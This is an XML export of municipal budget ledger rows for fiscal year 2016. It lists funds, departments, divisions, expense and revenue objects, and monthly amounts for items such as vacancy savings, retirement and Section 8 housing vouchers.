<row _id="20825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>999</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>999</total></row>
<row _id="20826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="20827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577341.0</object><object_description>SECT 8 HSG-PORTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>98000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>98000</total></row>
<row _id="20828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19077</total></row>
<row _id="20829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>828</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>828</total></row>
<row _id="20830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15032</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15032</total></row>
<row _id="20831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6648</total></row>
<row _id="20832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3132</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3132</total></row>
<row _id="20833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5640</total></row>
<row _id="20834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="20835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2908</total></row>
<row _id="20836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560050.0</object><object_description>TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35200</total></row>
<row _id="20838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404771.0</object><object_description>PROP C LR-BIKE TRANSIT CENTER</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-34202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34202</total></row>
<row _id="20839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-12415648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12415648</total></row>
<row _id="20840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-40037</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-40037</total></row>
<row _id="20841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-47769</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-47769</total></row>
<row _id="20842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-34429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34429</total></row>
<row _id="20843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-18987</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18987</total></row>
<row _id="20844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-29762</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-29762</total></row>
<row _id="20845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11182</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11182</total></row>
<row _id="20846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577346.0</object><object_description>HAP PORT-IN</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>333600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>333600</total></row>
<row _id="20847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25328</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25328</total></row>
<row _id="20848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1122</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1122</total></row>
<row _id="20849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72451</total></row>
<row _id="20850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>432</total></row>
<row _id="20851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1382</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1382</total></row>
<row _id="20852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2662</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2662</total></row>
<row _id="20853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>261741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>261741</total></row>
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<row _id="20856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3600</total></row>
<row _id="20857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>478</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>478</total></row>
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<row _id="20862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-424682</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-424682</total></row>
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<row _id="20864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-83948</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-83948</total></row>
<row _id="20865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7787</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7787</total></row>
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<row _id="20867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-38341</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-38341</total></row>
<row _id="20868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6503</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6503</total></row>
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<row _id="20873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11588</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11588</total></row>
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<row _id="20878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511580.0</object><object_description>COLLEGE SUMMER INTERNS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>57186</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57186</total></row>
<row _id="20879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>892156</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>892156</total></row>
<row _id="20880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="20881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4311</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4311</total></row>
<row _id="20882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>504</total></row>
<row _id="20883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579260.0</object><object_description>INTERNET/WWW SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31000</total></row>
<row _id="20884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-64696</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-64696</total></row>
<row _id="20885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20577</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20577</total></row>
<row _id="20886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>408220.0</object><object_description>PUBLIC NOTIFICATION REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10022</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10022</total></row>
<row _id="20887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407611.0</object><object_description>CITY WI-FI ADVERTISING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4000</total></row>
<row _id="20888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1044</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1044</total></row>
<row _id="20889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>189127</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>189127</total></row>
